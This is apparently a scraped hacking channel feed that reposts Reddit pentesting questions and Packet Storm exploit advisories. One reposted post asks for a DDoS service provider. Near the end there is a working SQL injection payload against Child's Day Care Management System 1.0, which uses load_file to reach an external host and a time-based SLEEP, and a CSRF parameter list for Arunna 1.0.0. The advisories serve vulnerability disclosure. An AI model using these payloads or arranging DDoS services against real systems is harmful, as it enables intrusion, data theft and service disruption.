Hacking Articles Tips Tricks Videos Tutorials

Query about network hacking
https://www.reddit.com/r/Pentesting/comments/rhtqyj/query_about_network_hacking/

So I have been practicing network hacking(on my own network) and I have found some unusual behavior while capturing handshake files. I am using a TP-Link wn722n wireless adapter which has a Realtek rtl8188 eus chipset and it works just fine. I found that sometimes it captures handshakes easily(simply using deauth attack for a very short period) but sometimes it doesn't capture handshakes. Now my question is
Is it happening because of the wireless adapter's deficiency or the distance between router and adapter ? or are there any other reason beside these ? submitted by /u/noobsix9 (https://www.reddit.com/user/noobsix9)
[link] (https://www.reddit.com/r/Pentesting/comments/rhtqyj/query_about_network_hacking/) [comments] (https://www.reddit.com/r/Pentesting/comments/rhtqyj/query_about_network_hacking/)

___________________________
@hacking_Attack
@Hacking_Video

Query about network hacking

So I have been practicing network hacking(on my own network) and I have found some unusual behavior while capturing handshake files. I am using a...

10 viewsedited 17:07

10 views17:22

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
Cybersecurity researchers have demonstrated a new attack technique that makes it possible to leverage a device's Bluetooth component to directly extract network passwords and manipulate traffic on a Wi-Fi chip.

https://thehackernews.com/2021/12/researchers-uncover-new-coexistence.html?m=1

submitted by /u/totie01010
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Cybersecurity researchers have demonstrated a new attack technique...

https://thehackernews.com/2021/12/researchers-uncover-new-coexistence.html?m=1

11 viewsedited 17:22

Hacking Articles Tips Tricks Videos Tutorials

10 views17:22

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
Creating Hacking Lab For Ethical Hacking [Article]

https://external-preview.redd.it/sXSwMvdIhUCc7QP8PrjZk560CBADDDD1UvgpdqYmf9E.jpg?width=640&crop=smart&auto=webp&s=ea8a7e9be4de46b515f08f44fb82ad7722e93b56 submitted by /u/OguzKayra
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Creating Hacking Lab For Ethical Hacking [Article]

Posted in r/hacking by u/OguzKayra • 1 point and 0 comments

10 viewsedited 17:22

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Ddos as a Service

Can someone help me with a good ddos service provider?

submitted by /u/loon3tik
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Ddos as a Service

Can someone help me with a good ddos service provider?

10 viewsedited 17:22

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Am a senior in high school and I want to learn how to hack

So which programming languages should I learn that could help me because next year am going to college and I want to be prepared so when so when I go am gonna be straight and have a head start.

submitted by /u/Hyperioly
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Am a senior in high school and I want to learn how to hack

So which programming languages should I learn that could help me because next year am going to college and I want to be prepared so when so when I...

11 viewsedited 17:22

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
netdiscover cannot find the kioptrix virtual machine

i am new to pentesting and this has put me into a bit on confusion (ive been scratching my head all day). i am using the command

netdiscover -i eth0

any help would save my sanity

submitted by /u/redditbigbad
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

netdiscover cannot find the kioptrix virtual machine

i am new to pentesting and this has put me into a bit on confusion (ive been scratching my head all day). i am using the command `netdiscover -i...

9 viewsedited 17:22

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Feasibility of a serverless VPN

Hey folks,

I've been dipping my toes in hacking recently and wondered if it would be possible to have a serverless VPN functioning somewhat similarly to the blockchain (dont' roll your eyes yet, I have no interest in crypto, the p2p organization and decentralization of the information is the only relevant thing here). I'm not particularly looking into no-logs policy, although I realise it would be hard to keep tracks of log in a network like that, I'm just very interested into securing my data rather than selling it *all* to a different company than my ISP or others.
You may think it's even less secure to route your data through the unknown than a trusted network but the goal would be to give a bunch of machines just enough data that the communication works but not enough for any of them to figure what's going on. In this perfect view of this piece of software I have there might be a need to have another piece of software making the interlocutors able to receive partial information from different sources and piece them together, but I'm not looking for something doable in the current state of the internet, just wondering wether or not any of you can see a major problem making a project like this one impossible.

Of course, integrity and repudiability of the information would be needed, and I'm still thinking about how authentication would work with the various handshakes a machine might need to perform in order to establish certain connections.

This is just for the sake of creating something, i'm by no means an expert in either networking, programming or any related fields but I do believe I have a solid enough background in those fields to be able to dabble my way through this project.
Any feedback is very appreciated, even more so if it is constructive and documented.
Sorry for some weird phrasing, english isn't my native language.

TL;DR: Can a serverless/blockchain-like VPN be made or is there some things there is no way it could do ?

submitted by /u/Nathaniel_105
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Feasibility of a serverless VPN

Hey folks, I've been dipping my toes in hacking recently and wondered if it would be possible to have a serverless VPN functioning somewhat...

11 viewsedited 17:22

Hacking Articles Tips Tricks Videos Tutorials

10 views17:52

Hacking Articles Tips Tricks Videos Tutorials

10 views17:52

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Arunna 1.0.0 Cross Site Request Forgery

https://1.bp.blogspot.com/-f08tQl4ET7w/WWlvRxSI6FI/AAAAAAAAINU/PQjq5zhIC6AFgb3OPDnJIpwa9KgUsaunwCLcBGAs/s1600/h37.png
Arunna version 1.0.0 suffers from a cross site request forgery vulnerability.

MD5 | cf7cb8b293869e70ba15908cd1204803

Download

# Exploit Title: Arunna 1.0.0 - 'Multiple' Cross-Site Request Forgery (CSRF)
# Date: November 29, 2021
# Exploit Author: =(L_L)=
# Detailed Bug Description: https://lyhinslab.org/index.php/2021/11/29/how-white-box-hacking-works-xss-csrf-in-arunna/
# Vendor Homepage: https://github.com/arunna
# Software Link: https://github.com/arunna/arunna
# Version: 1.0.0
# Tested on: Ubuntu 20.04.2 LTS
username[0]select[0]
first_name[0]
last_name[0]
display_name[0]
one_liner[0]
location[0]
sex[0]
birthday[0]
birthmonth[0]
birthyear[0]
bio[0]
expertise[0][]
tags[0]
skills[0]
email[0]
website[0]
password[0]
re_password[0]
user_type[0]
status[0]
save_changes

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Arunna 1.0.0 Cross Site Request Forgery

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

13 viewsedited 17:52

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Child's Day Care Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png
Child's Day Care Management System version 1.0 appears to be susceptible to a remote SQL injection vulnerability.

MD5 | fa3f0657f3722f253f892bffac4207e5

Download
## Title: Child's Day Care Management System 1.0 SQL - Injection
## Author: nu11secur1ty
## Date: 12.16.2021
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15085/childs-day-care-management-system-phpoop-free-source-code.html
## Description:
The `username` in Login.php app, parameter from Child's Day Care
Management System 1.0 appears to be vulnerable to SQL injection
attacks.
The payload '+(select
load_file('\\\\3ostdw78suah84gyykzz1k9b92fv3lrcu0mncb1.nu11secur1ty.net\\ztd'))+'
was submitted in the username parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed. Also, this system is vulnerable to
SQL-Injection-Bypass-Authentication
and XSS-Stored attacks. The attacker can be receiving all information
from the system by using these vulnerabilities! Status: CRITICAL

[+] Payload:

```mysql
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=zCAMOHlX'+(select
load_file('\\\\3ostdw78suah84gyykzz1k9b92fv3lrcu0mncb1.nu11secur1ty.net\\ztd'))+''
AND (SELECT 1400 FROM (SELECT(SLEEP(5)))NgMD) AND
'wBYn'='wBYn&password=a6O!j4g!Z5
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/Child's-Day-Care-Management-System)

## Proof and Exploit:
[href](https://streamable.com/tvbuoi)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Child's Day Care Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

14 viewsedited 17:52

Hacking Articles Tips Tricks Videos Tutorials

12 views17:52

Hacking Articles Tips Tricks Videos Tutorials

12 views17:52

About

Blog

Apps

Platform